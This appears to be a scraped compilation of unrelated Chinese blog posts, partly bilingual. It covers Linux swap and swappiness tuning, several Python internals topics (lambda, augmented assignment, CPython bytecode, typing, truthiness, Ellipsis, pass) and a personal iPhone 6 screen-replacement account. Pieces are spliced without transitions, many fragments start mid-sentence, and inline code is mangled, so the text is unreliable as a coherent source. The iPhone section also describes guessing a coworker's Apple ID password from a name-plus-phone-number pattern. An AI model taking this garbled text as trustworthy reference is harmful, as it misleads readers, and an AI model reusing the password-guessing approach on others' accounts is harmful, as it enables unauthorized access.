通常而言,最優內存管理所需的最小交換空間取決於程序固定在內存中而又很少訪問到的匿名頁面的數量, 以及回收這些匿名頁面換來的價值。後者大體上來說是問哪些頁面不再會因爲要保留這些很少訪問的匿名頁面而 被回收掉騰出空間。
If you have a bunch of disk space and a recent (4.0+) kernel,
more swap is almost always better than less. In older kernels
kswapd
,
one of the kernel processes responsible for managing swap, was historically
very overeager to swap out memory aggressively the more swap you had.
In recent times, swapping behaviour when a large amount of swap space is
available has been significantly improved. If you're running kernel 4.0+,
having a larger swap on a modern kernel should not result in overzealous
swapping. As such, if you have the space, having a swap size of a few GB
keeps your options open on modern kernels.
如果你有足夠大的磁盤空間和比較新的內核版本(4.0+),越大的交換空間基本上總是越好的。
更老的內核上
kswapd
, 內核中負責管理交換區的內核線程,在歷史上傾向於有越多交換空間就
急於交換越多內存出去。在最近一段時間,可用交換空間很大的時候的交換行爲已經改善了很多。
如果在運行 4.0+ 以後的內核,即便有很大的交換區在現代內核上也不會很激進地做交換。因此,
如果你有足夠的容量,現代內核上有個幾個 GB 的交換空間大小能讓你有更多選擇。
If you're more constrained with disk space, then the answer really depends on the tradeoffs you have to make, and the nature of the environment. Ideally you should have enough swap to make your system operate optimally at normal and peak (memory) load. What I'd recommend is setting up a few testing systems with 2-3GB of swap or more, and monitoring what happens over the course of a week or so under varying (memory) load conditions. As long as you haven't encountered severe memory starvation during that week – in which case the test will not have been very useful – you will probably end up with some number of MB of swap occupied. As such, it's probably worth having at least that much swap available, in addition to a little buffer for changing workloads.atop
in logging mode can also show you which applications are having their pages swapped out in theSWAPSZ
column, so if you don't already use it on your servers to log historic server state you probably want to set it up on these test machines with logging mode as part of this experiment. This also tells you when your application started swapping out pages, which you can tie to log events or other key data.
如果你的磁盤空間有限,那麼答案更多取決於你願意做的取捨,以及運行的環境。理想上應該有足夠的交換空間
能高效應對正常負載和高峰(內存)負載。我建議先用 2-3GB 或者更多的交換空間搭個測試環境,
然後監視在不同(內存)負載條件下持續一週左右的情況。只要在那一週裏沒有發生過嚴重的內存不足——
發生了的話說明測試結果沒什麼用——在測試結束的時候大概會留有多少 MB 交換區佔用。
作爲結果說明你至少應該有那麼多可用的交換空間,再多加一些以應對負載變化。用日誌模式跑
atop
可以在
SWAPSZ
欄顯示程序的頁面被交換出去的情況,所以如果你還沒用它記錄服務器歷史日誌的話
,這次測試中可以試試在測試機上用它記錄日誌。這也會告訴你什麼時候你的程序開始換出頁面,你可以用這個
對照事件日誌或者別的關鍵數據。
Another thing worth considering is the nature of the swap medium. Swap reads tend to be highly random, since we can't reliably predict which pages will be refaulted and when. On an SSD this doesn't matter much, but on spinning disks, random I/O is extremely expensive since it requires physical movement to achieve. On the other hand, refaulting of file pages is likely less random, since files related to the operation of a single application at runtime tend to be less fragmented. This might mean that on a spinning disk you may want to bias more towards reclaiming file pages instead of swapping out anonymous pages, but again, you need to test and evaluate how this balances out for your workload.
另一點值得考慮的是交換空間所在存儲設備的媒介。讀取交換區傾向於很隨機,因爲我們不能可靠預測什麼時候 什麼頁面會被再次訪問。在 SSD 上這不是什麼問題,但是在傳統磁盤上,隨機 I/O 操作會很昂貴, 因爲需要物理動作尋道。另一方面,重新加載文件緩存可能不那麼隨機,因爲單一程序在運行期的文件讀操作 一般不會太碎片化。這可能意味着在傳統磁盤上你想更多地回收文件頁面而不是換出匿名頁面,但仍舊, 你需要做測試評估在你的工作負載下如何取得平衡。
For laptop/desktop users who want to hibernate to swap, this also needs to be taken into account – in this case your swap file should be at least your physical RAM size.
對筆記本/桌面用戶如果想要休眠到交換區,這也需要考慮——這種情況下你的交換文件應該至少是物理內存大小。
First, it's important to understand whatvm.swappiness
does.vm.swappiness
is a sysctl that biases memory reclaim either towards reclamation of anonymous pages, or towards file pages. It does this using two different attributes:file_prio
(our willingness to reclaim file pages) andanon_prio
(our willingness to reclaim anonymous pages).vm.swappiness`plays into this, as it becomes the default value for :code:`anon_prio
, and it also is subtracted from the default value of 200 forfile_prio
, which means for a value ofvm.swappiness = 50
, the outcome is thatanon_prio
is 50, andfile_prio
is 150 (the exact numbers don't matter as much as their relative weight compared to the other).
首先很重要的一點是,要理解
vm.swappiness
是做什麼的。
vm.swappiness
是一個 sysctl 用來控制在內存回收的時候,是優先回收匿名頁面,
還是優先回收文件頁面。內存回收的時候用兩個屬性:
file_prio
(回收文件頁面的傾向)
和
anon_prio
(回收匿名頁面的傾向)。
vm.swappiness
控制這兩個值,
因爲它是
anon_prio
的默認值,然後也是默認 200 減去它之後
file_prio
的默認值。
意味着如果我們設置
vm.swappiness = 50
那麼結果是
anon_prio
是 50,
file_prio
是 150 (這裏數值本身不是很重要,重要的是兩者之間的權重比)。
原文這裏說 SSD 上 swap 和 drop page cache 差不多開銷所以
vm.swappiness = 100
。我覺得實際上要考慮 swap out 的時候會產生寫入操作,而 drop page cache 可能不需要寫入(
要看頁面是否是髒頁)。如果負載本身對I/O帶寬比較敏感,稍微調低 swappiness 可能對性能更好,
內核的默認值 60 是個不錯的默認值。以及桌面用戶可能對性能不那麼關心,反而更關心 SSD
的寫入壽命,雖然說 SSD 寫入壽命一般也足夠桌面用戶,不過調低 swappiness
可能也能減少一部分不必要的寫入(因爲寫回髒頁是必然會發生的,而寫 swap 可以避免)。
當然太低的 swappiness 會對性能有負面影響(因爲太多匿名頁面留在物理內存裏而降低了緩存命中率)
,這裏的權衡也需要根據具體負載做測試。
另外澄清一點誤解, swap 分區還是 swap 文件對系統運行時的性能而言沒有差別。或許有人會覺得 swap 文件要經過文件系統所以會有性能損失,在譯文之前譯者說過 Linux 的內存管理子系統基本上獨立於文件系統。 實際上 Linux 上的 swapon 在設置 swap 文件作爲交換空間的時候會讀取一次文件系統元數據, 確定 swap 文件在磁盤上的地址範圍,隨後運行的過程中做交換就和文件系統無關了。關於 swap 空間是否連續的影響,因爲 swap 讀寫基本是頁面單位的隨機讀寫,所以即便連續的 swap 空間(swap 分區)也並不能改善 swap 的性能。希疏文件的地址範圍本身不連續,寫入希疏文件的空洞需要 文件系統分配磁盤空間,所以在 Linux 上交換文件不能是希疏文件。只要不是希疏文件, 連續的文件內地址範圍在磁盤上是否連續(是否有文件碎片)基本不影響能否 swapon 或者使用 swap 時的性能。
This means that, in general,vm.swappiness
is simply a ratio of how costly reclaiming and refaulting anonymous memory is compared to file memory for your hardware and workload. The lower the value, the more you tell the kernel that infrequently accessed anonymous pages are expensive to swap out and in on your hardware. The higher the value, the more you tell the kernel that the cost of swapping anonymous pages and file pages is similar on your hardware. The memory management subsystem will still try to mostly decide whether it swaps file or anonymous pages based on how hot the memory is, but swappiness tips the cost calculation either more towards swapping or more towards dropping filesystem caches when it could go either way. On SSDs these are basically as expensive as each other, so settingvm.swappiness = 100
(full equality) may work well. On spinning disks, swapping may be significantly more expensive since swapping in generally requires random reads, so you may want to bias more towards a lower value.
這意味着,通常來說
vm.swappiness
只是一個比例,用來衡量在你的硬件和工作負載下,
回收和換回匿名內存還是文件內存哪種更昂貴 。設定的值越低,你就是在告訴內核說換出那些不常訪問的
匿名頁面在你的硬件上開銷越昂貴;設定的值越高,你就是在告訴內核說在你的硬件上交換匿名頁和
文件緩存的開銷越接近。內存管理子系統仍然還是會根據實際想要回收的內存的訪問熱度嘗試自己決定具體是
交換出文件還是匿名頁面,只不過 swappiness 會在兩種回收方式皆可的時候,在計算開銷權重的過程中左右
是該更多地做交換還是丟棄緩存。在 SSD 上這兩種方式基本上是同等開銷,所以設成
vm.swappiness = 100
(同等比重)可能工作得不錯。在傳統磁盤上,交換頁面可能會更昂貴,
因爲通常需要隨機讀取,所以你可能想要設低一些。
The reality is that most people don't really have a feeling about which their hardware demands, so it's non-trivial to tune this value based on instinct alone – this is something that you need to test using different values. You can also spend time evaluating the memory composition of your system and core applications and their behaviour under mild memory reclamation.
現實是大部分人對他們的硬件需求沒有什麼感受,所以根據直覺調整這個值可能挺困難的 —— 你需要用不同的值做測試。你也可以花時間評估一下你的系統的內存分配情況和核心應用在大量回收內存的時候的行爲表現。
When talking aboutvm.swappiness
, an extremely important change to consider from recent(ish) times is this change to vmscan by Satoru Moriya in 2012 , which changes the way thatvm.swappiness = 0
is handled quite significantly.
討論
vm.swappiness
的時候,一個極爲重要需要考慮的修改是(相對)近期在
2012 年左右 Satoru Moriya 對 vmscan 行爲的修改
,它顯著改變了代碼對
vm.swappiness = 0
這個值的處理方式。
Essentially, the patch makes it so that we are extremely biased against scanning (and thus reclaiming) any anonymous pages at all withvm.swappiness = 0
, unless we are already encountering severe memory contention. As mentioned previously in this post, that's generally not what you want, since this prevents equality of reclamation prior to extreme memory pressure occurring, which may actually lead to this extreme memory pressure in the first place.vm.swappiness = 1
is the lowest you can go without invoking the special casing for anonymous page scanning implemented in that patch.
基本上來說這個補丁讓我們在
vm.swappiness = 0
的時候會極度避免掃描(進而回收)匿名頁面,
除非我們已經在經歷嚴重的內存搶佔。就如本文前面所屬,這種行爲基本上不會是你想要的,
因爲這種行爲會導致在發生內存搶佔之前無法保證內存回收的公平性,這甚至可能是最初導致發生內存搶佔的原因。
想要避免這個補丁中對掃描匿名頁面的特殊行爲的話,
vm.swappiness = 1
是你能設置的最低值。
The kernel default here isvm.swappiness = 60
. This value is generally not too bad for most workloads, but it's hard to have a general default that suits all workloads. As such, a valuable extension to the tuning mentioned in the "how much swap do I need" section above would be to test these systems with differing values forvm.swappiness
, and monitor your application and system metrics under heavy (memory) load. Some time in the near future, once we have a decent implementation of refault detection in the kernel, you'll also be able to determine this somewhat workload-agnostically by looking at cgroup v2's page refaulting metrics.
內核在這裏設置的默認值是
vm.swappiness = 60
。這個值對大部分工作負載來說都不會太壞,
但是很難有一個默認值能符合所有種類的工作負載。因此,對上面「 那麼,我需要多少交換空間?
」那段討論的一點重要擴展可以說,在測試系統中可以嘗試使用不同的
vm.swappiness
,然後監視你的程序和系統在重(內存)負載下的性能指標。在未來某天,如果我們在內核中有了合理的
缺頁檢測 ,你也將能通過 cgroup v2 的頁面缺頁
指標來以負載無關的方式決定這個。
The refault metrics mentioned as in development earlier are now in the
kernel from 4.20 onwards and can be enabled with
CONFIG_PSI=y
. See my talk at SREcon at around the 25:05 mark:
前文中提到的開發中的內存缺頁檢測指標已經進入 4.20+ 以上版本的內核,可以通過
CONFIG_PSI=y
開啓。詳情參見我在 SREcon 大約 25:05 左右的討論。
- Swap is a useful tool to allow equality of reclamation of memory pages, but its purpose is frequently misunderstood, leading to its negative perception across the industry. If you use swap in the spirit intended, though – as a method of increasing equality of reclamation – you'll find that it's a useful tool instead of a hindrance.
- Disabling swap does not prevent disk I/O from becoming a problem under memory contention, it simply shifts the disk I/O thrashing from anonymous pages to file pages. Not only may this be less efficient, as we have a smaller pool of pages to select from for reclaim, but it may also contribute to getting into this high contention state in the first place.
- Swap can make a system slower to OOM kill, since it provides another, slower source of memory to thrash on in out of memory situations – the OOM killer is only used by the kernel as a last resort, after things have already become monumentally screwed. The solutions here depend on your system:
- You can opportunistically change the system workload depending on cgroup-local or global memory pressure. This prevents getting into these situations in the first place, but solid memory pressure metrics are lacking throughout the history of Unix. Hopefully this should be better soon with the addition of refault detection.
- You can bias reclaiming (and thus swapping) away from certain processes per-cgroup using memory.low, allowing you to protect critical daemons without disabling swap entirely.
memory.low
讓內核不傾向於回收(進而交換)特定一些 cgroup 中的進程,
允許你在不禁用交換區的前提下保護關鍵後臺服務。lambda_expr ::= "lambda" [parameter_list] ":" expression
,也就是 lambda 参数序列:表达式
。def (parameter_list):
return expression
my_list = [3, 1, 5, 4, 10]
# 元素全加1,结果:[4, 2, 6, 5, 11]
list(map(lambda i:i+1, my_list))
# 过滤小于10的元素,结果:[3, 1, 5, 4]
list(filter(lambda i:i<10, my_list))
# 元素累加,结果:33
from functools import reduce
reduce(lambda i,j:i+j, my_list, 10)
# 字典按值排序,结果:[('b', 1), ('a', 3), ('d', 4), ('c', 5)]
my_dict = {'a':3, 'b':1, 'c':5, 'd':4}
sorted(my_dict.items(), key=lambda item:item[1])
my_func = lambda i:i+1
list(map(my_func, my_list))
def add_one(i):
return i+1
list(map(add_one, my_list))
lambda args::suite
的想法,支持写成这样的形式:ss = sorted(seq, key=(lambda x::
try: return abs(x)
except TypeError: return 0))
增强算术赋值
(augmented arithmetic assignment)的东西。可能你不熟悉这个叫法,其实就是在做数学运算的同时进行赋值,例如 a -= b 就是减法的增强算术赋值。-=
a -= b
在语义上与 a = a-b
相同。但也要意识到,如果你预先知道要将一个对象赋给一个变量名,相比a - b
的盲操作,就可能会更高效。a -= b
,就会尝试去调用 a.__isub__(b)。a -= b
被分解成:# 实现 a -= b 的伪代码
if hasattr(a, "__isub__"):
_value = a.__isub__(b)
if _value is not NotImplemented:
a = _value
else:
a = a - b
del _value
else:
a = a - b
def _create_binary_inplace_op(binary_op: _BinaryOp) -> Callable[[Any, Any], Any]:
binary_operation_name = binary_op.__name__[2:-2]
method_name = f"__i{binary_operation_name}__"
operator = f"{binary_op._operator}="
def binary_inplace_op(lvalue: Any, rvalue: Any, /) -> Any:
lvalue_type = type(lvalue)
try:
method = debuiltins._mro_getattr(lvalue_type, method_name)
except AttributeError:
pass
else:
value = method(lvalue, rvalue)
if value is not NotImplemented:
return value
try:
return binary_op(lvalue, rvalue)
except TypeError as exc:
# If the TypeError is due to the binary arithmetic operator, suppress
# it so we can raise the appropriate one for the agumented assignment.
if exc._binary_op != binary_op._operator:
raise
raise TypeError(
f"unsupported operand type(s) for {operator}: {lvalue_type!r} and {type(rvalue)!r}"
)
binary_inplace_op.__name__ = binary_inplace_op.__qualname__ = method_name
binary_inplace_op.__doc__ = (
f"""Implement the augmented arithmetic assignment `a {operator} b`."""
)
return binary_inplace_op
**=
operator
模块却是失败。>>> def test(): a **= b
...
>>> import dis
>>> dis.dis(test)
1 0 LOAD_FAST 0 (a)
2 LOAD_GLOBAL 0 (b)
4 INPLACE_POWER
6 STORE_FAST 0 (a)
8 LOAD_CONST 0 (None)
10 RETURN_VALUE
INPLACE_POWER
: case TARGET(INPLACE_POWER): {
PyObject *exp = POP();
PyObject *base = TOP();
PyObject *res = PyNumber_InPlacePower(base, exp, Py_None);
Py_DECREF(base);
Py_DECREF(exp);
SET_TOP(res);
if (res == NULL)
goto error;
DISPATCH();
}
PyNumber_InPlacePower()
:PyObject *
PyNumber_InPlacePower(PyObject *v, PyObject *w, PyObject *z)
{
if (v->ob_type->tp_as_number &&
v->ob_type->tp_as_number->nb_inplace_power != NULL) {
return ternary_op(v, w, z, NB_SLOT(nb_inplace_power), "**=");
}
else {
return ternary_op(v, w, z, NB_SLOT(nb_power), "**=");
}
}
a - b
。我故意选择了减法,因为它是不可交换的。这可以强调出操作顺序的重要性,与加法操作相比,你可能会在实现时误将 a 和 b 翻转,但还是得到相同的结果。>>> def sub(): a - b
...
>>> import dis
>>> dis.dis(sub)
1 0 LOAD_GLOBAL 0 (a)
2 LOAD_GLOBAL 1 (b)
4 BINARY_SUBTRACT
6 POP_TOP
8 LOAD_CONST 0 (None)
10 RETURN_VALUE
case TARGET(BINARY_SUBTRACT): {
PyObject *right = POP();
PyObject *left = TOP();
PyObject *diff = PyNumber_Subtract(left, right);
Py_DECREF(right);
Py_DECREF(left);
SET_TOP(diff);
if (diff == NULL)
goto error;
DISPATCH();
}
a - b
时,会在 a 的类型中查找__sub__(),然后把 b 作为它的参数。这很像我写属性访问的文章 里的__getattribute__(),特殊/魔术方法是根据对象的类型来解析的,并不是出于性能目的而解析对象本身;在下面的示例代码中,我使用_mro_getattr() 表示此过程。# 通过调用__sub__()实现减法
def sub(lhs: Any, rhs: Any, /) -> Any:
"""Implement the binary operation `a - b`."""
lhs_type = type(lhs)
try:
subtract = _mro_getattr(lhs_type, "__sub__")
except AttributeError:
msg = f"unsupported operand type(s) for -: {lhs_type!r} and {type(rhs)!r}"
raise TypeError(msg)
else:
return subtract(lhs, rhs)
# 减法的实现,其中表达式的左侧和右侧均可参与运算
_MISSING = object()
def sub(lhs: Any, rhs: Any, /) -> Any:
# lhs.__sub__
lhs_type = type(lhs)
try:
lhs_method = debuiltins._mro_getattr(lhs_type, "__sub__")
except AttributeError:
lhs_method = _MISSING
# lhs.__rsub__ (for knowing if rhs.__rub__ should be called first)
try:
lhs_rmethod = debuiltins._mro_getattr(lhs_type, "__rsub__")
except AttributeError:
lhs_rmethod = _MISSING
# rhs.__rsub__
rhs_type = type(rhs)
try:
rhs_method = debuiltins._mro_getattr(rhs_type, "__rsub__")
except AttributeError:
rhs_method = _MISSING
call_lhs = lhs, lhs_method, rhs
call_rhs = rhs, rhs_method, lhs
if lhs_type is not rhs_type:
calls = call_lhs, call_rhs
else:
calls = (call_lhs,)
for first_obj, meth, second_obj in calls:
if meth is _MISSING:
continue
value = meth(first_obj, second_obj)
if value is not NotImplemented:
return value
else:
raise TypeError(
f"unsupported operand type(s) for -: {lhs_type!r} and {rhs_type!r}"
)
# Python中减法的完整实现
_MISSING = object()
def sub(lhs: Any, rhs: Any, /) -> Any:
# lhs.__sub__
lhs_type = type(lhs)
try:
lhs_method = debuiltins._mro_getattr(lhs_type, "__sub__")
except AttributeError:
lhs_method = _MISSING
# lhs.__rsub__ (for knowing if rhs.__rub__ should be called first)
try:
lhs_rmethod = debuiltins._mro_getattr(lhs_type, "__rsub__")
except AttributeError:
lhs_rmethod = _MISSING
# rhs.__rsub__
rhs_type = type(rhs)
try:
rhs_method = debuiltins._mro_getattr(rhs_type, "__rsub__")
except AttributeError:
rhs_method = _MISSING
call_lhs = lhs, lhs_method, rhs
call_rhs = rhs, rhs_method, lhs
if (
rhs_type is not _MISSING # Do we care?
and rhs_type is not lhs_type # Could RHS be a subclass?
and issubclass(rhs_type, lhs_type) # RHS is a subclass!
and lhs_rmethod is not rhs_method # Is __r*__ actually different?
):
calls = call_rhs, call_lhs
elif lhs_type is not rhs_type:
calls = call_lhs, call_rhs
else:
calls = (call_lhs,)
for first_obj, meth, second_obj in calls:
if meth is _MISSING:
continue
value = meth(first_obj, second_obj)
if value is not NotImplemented:
return value
else:
raise TypeError(
f"unsupported operand type(s) for -: {lhs_type!r} and {rhs_type!r}"
)
# 一个创建闭包的函数,实现了二元运算的逻辑
_MISSING = object()
def _create_binary_op(name: str, operator: str) -> Any:
"""Create a binary operation function.
The `name` parameter specifies the name of the special method used for the
binary operation (e.g. `sub` for `__sub__`). The `operator` name is the
token representing the binary operation (e.g. `-` for subtraction).
"""
lhs_method_name = f"__{name}__"
def binary_op(lhs: Any, rhs: Any, /) -> Any:
"""A closure implementing a binary operation in Python."""
rhs_method_name = f"__r{name}__"
# lhs.__*__
lhs_type = type(lhs)
try:
lhs_method = debuiltins._mro_getattr(lhs_type, lhs_method_name)
except AttributeError:
lhs_method = _MISSING
# lhs.__r*__ (for knowing if rhs.__r*__ should be called first)
try:
lhs_rmethod = debuiltins._mro_getattr(lhs_type, rhs_method_name)
except AttributeError:
lhs_rmethod = _MISSING
# rhs.__r*__
rhs_type = type(rhs)
try:
rhs_method = debuiltins._mro_getattr(rhs_type, rhs_method_name)
except AttributeError:
rhs_method = _MISSING
call_lhs = lhs, lhs_method, rhs
call_rhs = rhs, rhs_method, lhs
if (
rhs_type is not _MISSING # Do we care?
and rhs_type is not lhs_type # Could RHS be a subclass?
and issubclass(rhs_type, lhs_type) # RHS is a subclass!
and lhs_rmethod is not rhs_method # Is __r*__ actually different?
):
calls = call_rhs, call_lhs
elif lhs_type is not rhs_type:
calls = call_lhs, call_rhs
else:
calls = (call_lhs,)
for first_obj, meth, second_obj in calls:
if meth is _MISSING:
continue
value = meth(first_obj, second_obj)
if value is not NotImplemented:
return value
else:
exc = TypeError(
f"unsupported operand type(s) for {operator}: {lhs_type!r} and {rhs_type!r}"
)
exc._binary_op = operator
raise exc
处暑过了有十天了,白露时节转眼就到了跟前,上海的天,早晚总算是凉下来了,早上出门的时候开着窗,终于不用一路打着空调到公司,这倒是可以真切的听到林荫新路上的蝉鸣,只是这秋蝉叫的愈发凄凉了。这篇原本是7月就该更的文,硬是被高温拖到了今天。文中这手机是我们销售三部经理的备用机,原本好好的放在一边没管,过了一个黄梅天,发现花屏了,顺道还试错了N次锁屏密码,结果看到了就是图中的鬼样子。
那天看到他在弄这个手机,正好我在边上,问我怎么弄,就说拿苹果店去处理呗,答去过了,果店要发票,否则不给解锁。问发票呢?答早不见了,再问哪买的?找卖家肯定有凭证,答昆山,那店还在不在都不确定。我勒个去,一连串的路全部堵死了。又问这手机是不是坏了也没啥影响,答是的,捡起来给女儿上网课用用,不行就再去买个新的咯。得,我看看吧,死马当活马医,医好了还你个手机,医不好就当送我一个废品。
拿到手,因为锁屏密码也不知道,正好这个屏幕显示的跟个钢琴键似的,肯定要怀疑下是系统的问题而非硬件问题。所以接iTunes更新下系统看看,正好烂果最近刚升级一波系统。一顿操作猛如虎,开机还是二百五,没戏,系统是升级成功了,屏幕还是花的。至此断定应该是硬件坏了。沟通了下要不要修,反正一块屏没多少钱,比买台新手机划算多了。万能东宝又来了,链接在这里,某宝iphone6屏幕,某东iphone6屏幕。
iphone都一个尿性,底部有两个梅花螺丝,直接拧下来即可。然后把吸盘放在HOME键一侧用力拉起一个缝隙,迅速上指甲。当然没指甲就用撬棒吧,我觉得指甲好用,划拉一圈,屏幕也就脱离了。取掉屏幕,记得HOME键这一侧先翘起,头部的有卡扣,这个在上一篇iphone7换电池的教程中有说明,具体可以点链接查看。
sim卡槽下面有一块金属压板,上面两个螺丝,卸下,然后就能看到排线插头了,轻轻撬开排线,让设备彻底断电。
屏幕总成排线在顶部,除屏幕排线外,这里还有两根排线也在一起,包括前置摄像头、传感器和听筒的排线。拆除方法也简单,卸下6颗螺丝,拆掉排线压板,依次撬开排线就行。注意这里螺丝有长有短,待会儿回装的时候位置别错,要不然长螺丝攻穿下面的芯片就彻底玩完了。
上面的排线拆完以后,整个屏幕总成就可以分离了。然后把新买的屏幕排线插上,插上电源线,开机试下买的屏幕是否有问题。确认没问题就可以关机取下新屏幕了。
买的屏幕总成上是不带HOME键的,iphone6也是实体HOME键,集成了指纹传感器在上面。所以得把原屏幕上的HOME键取下来换到新屏幕上。拆除方法也是先拆除金属压板,只是这个压板的主要作用是支撑HOME键顺带压着排线。拆压板容易,拆排线这里要注意一下,这里有个拐角,有个塑料小卡柱和热熔胶点过,所以需要用薄一点的刀片或者镊子之类的工具撬开红框中的部分。最后用手指从另一侧顶开HOME键就OK了,主要HOME键周围有一圈薄的密封圈。动作温柔点还能原封不动贴好到新屏幕上,动作粗鲁点弄坏密封圈,也没多大影响,装的时候把残余扯干劲就行
步骤就不写了,倒着再来一遍就完事了。整个手机硬件部分就复原了,要换屏幕的教程到这里就结束了。
如果你被锁屏的,并且不知道APPLE ID的账号密码,请谨慎操作,一旦刷机了没密码就彻底完犊子开不了机了。我在换屏之前通过社工方法找到了appleID的密码的,巧就巧在烂果定义密码的规则上,要求首字母大写,然后销售部另外一个同事之前说密码当初是不是他给设置的。可能是名字首字母加电话号码的形式。我在iTunes上试过各种密码,最后去试的名字拼音首字母加电话号码的形式,没成想,成功了。后续果断刷机恢复。
水完,雨后的傍晚空气还是不错的。哦对了,图片加水印了,主要是我这水文也不值钱,但老有鸟人把这不值钱的水文搬到头条上,导致统计里面总是有头条的来路,故意恶心我是吧。
动态类型
与静态类型
,但是很多人也会把它们跟强弱类型
混为一谈,所以我们有必要先作一下概念上的澄清。"1000"+1
会得到字符串“10001”,而 "1000"-1
则会得到数字 999,也就是说,编译器根据使用场合,对两种不同类型的对象分别做了隐式的类型转化,但是相似的写法,在强类型语言中则会报类型出错。(数字与字符串的转化属于过分的转化,下文会再提到一些合理的转化。)In 1974, Liskov and Zilles defined a strongly-typed language as one in which “whenever an object is passed from a calling function to a called function, its type must be compatible with the type declared in the called function.“[3] In 1977, Jackson wrote, “In a strongly typed language each data area will have a distinct type and each process will state its communication requirements in terms of these types.“[4]
A weakly typed language has looser typing rules and may produce unpredictable results or may perform implicit type conversion at runtime.
"test"*3
这种字符串“乘法”运算,虽然是两种类型的操作,但是并不涉及隐式类型转换转化。x=10; x="test"
先后给一个变量不同类型的赋值,表面上看 x 的类型变化了,用 type(x) 可以判断出不同,但是,Python 中的类型是跟值绑定的(右值绑定),并不是跟变量绑定的。1 + True
这种数字与布尔类型的加法运算,也没有发生隐式类型转换。因为 Python 中的布尔类型其实是整型的子类,是同一种类型!(如果有疑问,可查阅 PEP-285)__add__()
方法,Python 中一切皆对象,数字对象也有自己的方法。(其它语言可不一定)123 + null
结果为 123,123 + {}
结果为字符串“123[object Object]”。true==['2']
判断出的结果为 false,而true==['1']
的结果是 true,还有[]==![]
和[undefined]==false
的结果都为 true……void
是编程语言中最常见的关键字之一,从字面上理解,它是“空的、空集、空白”的意思,最常用于 表示函数的一种返回值类型。The void type, in several programming languages derived from C and Algol68, is the type for the result of a function that returns normally, but does not provide a result value to its caller.
在 C、Algol68 及它们所派生的几种编程语言中,void 类型是函数正常返回的一种类型,但是不会给调用者返回一个值。
f()
表示参数数量不确定,为了另外表达“不需要参数”的语义,所以引入f(void)
作为限定。后来的语言(包括 Python)基本不在参数中使用 void,而是直接用f()
表示不需传参。C++ 为了兼容 C,所以才同时支持这两种语法。f()
函数在编译后会返回整型的值。为了避免混乱,当不需要返回值时,就使用void f()
来作限定。f(void)
这种写法根本就是多余的,所以 Python 使用了最简单明了的无参式写法f()
。def func():pass
,为了让它的调用结果func()
是一个合法的对象,那它必须具有一个有效的类型(type)。void def func():...
这样的形式,那它就变成了函数定义时的一种特例。与另一种特例函数相比,即异步函数asyc def func():...
,就可能引起混乱。dis
查看字节码,就可以看到其背后的小动作:class Test:
@xxx
def foo(self):
pass
class C:
def f():
pass
C.f
对象中获得其所属的类:>>> C.f.im_class
<class '__main__.C'>
>>> C.f.im_class
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'im_class'
>>> dir(C.f)
['__annotations__', '__call__', '__class__', '__closure__', '__code__',
'__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__',
'__eq__', '__format__', '__ge__', '__get__', '__getattribute__',
'__globals__', '__gt__', '__hash__', '__init__', '__kwdefaults__',
'__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__',
'__str__', '__subclasshook__']
>>> class C:
... def f(): pass
... class D:
... def g(): pass
...
>>> C.__qualname__
'C'
>>> C.f.__qualname__
'C.f'
>>> C.D.__qualname__
'C.D'
>>> C.D.g.__qualname__
'C.D.g'
>>> def f():
... def g(): pass
... return g
...
>>> f.__qualname__
'f'
>>> f().__qualname__
'f.<locals>.g'
ddt
库关于参数化测试的源码 时,偶然想到了文章开头的问题,但是没有作进一步的梳理(似乎感兴趣的人也不多)。没想到的是在群里又出现了同样的讨论,这让我意识到这个问题是有价值的。真值判断
(Truth Value Testing)时,语法很简便。if my_list
这个简短的写法可以表达出两层意思:if not my_list
即可。静态语言
中,通常要先基于 xxx 作一个比较操作,比如“if (xxx == null)”,以此得到一个布尔类型的值的结果,然后再进行真值判断。否则的话,若“if xxx”中有非布尔类型的值,则会报类型错误。动态语言
在这种场景中表现出了一种灵活性,那么,我们的问题来了:为什么 Python 不需要先做一次比较操作,直接就能对任意对象作真值判断呢?False
或者有__len__() 方法返回0
。if xxx
这样的语句时,它到底在做些什么?隐式地
调用 bool() 呢(即转化成if bool(xxx)
)?(答案为否,下文有分析)dis
模块来查看下:POP_JUMP_IF_FALSE
指令对应的是 if 语句那行,它的含义是:If TOS is false, sets the bytecode counter to target. TOS is popped.
如果栈顶元素为 false,则跳转到目标位置。
if bool(xxx)
这种写法是多此一举的了(我曾见到过)。bool(Test1)
与 bool(Test1())
各是什么结果?然后依次判断剩下的两个类,结果又会是什么?bool(Test1) # True
bool(Test2) # True
bool(Test3) # True
bool(Test1()) # True
bool(Test2()) # False
bool(Test3()) # True
hasattr(2020, "__bool__")
hasattr(2020, "__len__")
__bool__()
返回 False:所有表示 0 的数字,例如0
, 0.0
, 0j
, Decimal(0)
, Fraction(0, 1)
__bool__()
返回 True:所有其它非 0 的数字if xxx
这种简便的写法,虽然是正规的真值判断语法,并它但并不符合常规的语义。在 C/C++/Java 之类的语言中,要么 xxx 本身是布尔类型的值,要么是一种可返回布尔类型值的操作,但是在 Python 中,这个“xxx”竟然还可以是任意的 Python 对象!False
或者有__len__() 方法返回0
,否则布尔操作的结果都是 True。两个魔术方法总是会先计算__bool__()# 用 ... 替代 pass
def foo():
...
Statement seems to have no effect
。SyntaxError: cannot assign to Ellipsis
,然而 Ellipsis 却可以被赋值,它们的行为根本就不同嘛!被赋值之后,Ellipsis 的内存地址以及类型属性都改变了,它成了一个“变量”,不再是常量。SyntaxError: cannot assign to XXX
,但是给 NotImplemented 常量赋值时不会报错。Special value used mostly in conjunction with extended slicing syntax for user-defined container data types.
这是个特殊的值,通常跟扩展的切片语法相结合,用在自定义的数据类型容器上。
Tuple[int, ...]
表示一个元组,其元素是 int 类型,但数量不限。from typing import TypeVar, Generic
T = TypeVar('T')
def fun_1(x: T) -> T: ... # T here
def fun_2(x: T) -> T: ... # and here could be different
fun_1(1) # This is OK, T is inferred to be int
fun_2('a') # This is also OK, now T is str
pass
语句,它似乎很简单(只有 4 个字母),即使是没有任何编程经验的初学者也能很快地掌握它的用法。IndentationError: expected an indented block
# 将函数体的 pass 去除,会报错
def func():
func()
# 将函数体的 pass 换成注释
def func():
# todo:此处有东西,以后补上
func()
IndentationError: expected an indented block
def func():
"""这是一个字符串"""
def func2():
123456
void test();
。void test(){}
。Each line of a block comment starts with a
#
and a single space (unless it is indented text inside the comment).
>>> x, y = 1, 2
>>> print(x, y) # 结果:1 2
x = 1,2
